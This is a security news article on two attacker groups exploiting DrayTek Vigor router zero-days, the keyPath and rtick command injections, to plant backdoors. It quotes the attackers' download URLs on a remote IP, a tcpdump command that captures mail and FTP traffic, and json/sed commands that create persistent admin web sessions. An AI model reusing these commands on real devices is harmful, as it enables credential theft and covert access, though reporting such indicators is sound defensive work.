Hackers Exploiting Two 0-Day Bugs in DrayTek Routers & Create A Backdoor in Enterprise Networks

Researchers observed two new hackers groups abusing two DrayTek Routers’ zero-day vulnerabilities to exploit the enterprise network routers and perform a series of attacks.

Recently we have reported a similar attack in which hackers hijack Home Routers & Change The DNS Settings to implant malware via a malicious website.

This is another new wave of attack where attackers using zero-day bugs to perform attacks including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and implanting specific malicious Web Session backdoor.

The ongoing zero-day attack was initially disclosed on December 25, 2019, with an indicator of compromise (IOC), and it is highly weaponized in nature.

360 Netlab@360Netlab

#0-day Since 2019-12-04 08:22:29 (UTC), we have been witnessing ongoing 0 day attack targeting a network CPE vendor (not the big players, but there are about ~100,000 devices online according to public available data). The attacker is snooping on port 21,25,143,110 (1/2)

29

2:41 PM - Dec 25, 2019

Twitter Ads info and privacy

18 people are talking about this

Both are remote command execution vulnerabilities and the first one affected the keyPath field that used to specify the file suffix of the RSA private key to initiate a login request in the router.

Another RCE Vulnerability in rtick makes command injection possible when the formCaptcha(), a function that used in CAPTCHA image does not check the incoming timestamp from rtick.

According to netlab 360 reports, “The two 0-day vulnerability command injection points are keyPath and rtick, located in the /www/cgi-bin/mainfunction.cgi, and the corresponding Web Server program is /usr/sbin/lighttpd.”

Hackers Group 0-Day Attack Activities

A first attacker group using the keyPath  RCE vulnerability to download and execute the script ( http://103.82.143.51:58172/vig/tcpst1).

Later it downloads another following script,

http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1

In this case, attackers using the script ” /etc/mailsend.sh “ to eavesdrop on all network interfaces where the DrayTek Vigor network deployed and listen on the ports 21, 25, 143, and 110.

During the attacks, actors are running the following tcpdump command that running in the background.

/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap 

Another group of an attacker using the rtick command injection vulnerability to create 2 sets of Web Session backdoors that let DrayTek Vigor network device never logs out unless the device is rebooted.

Later they create an SSH backdoor on TCP / 22335 and TCP / 32459

json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json

DrayTek fixed this bug on February 10, 2020, and issued a security update and released the latest firmware program 1.5.1.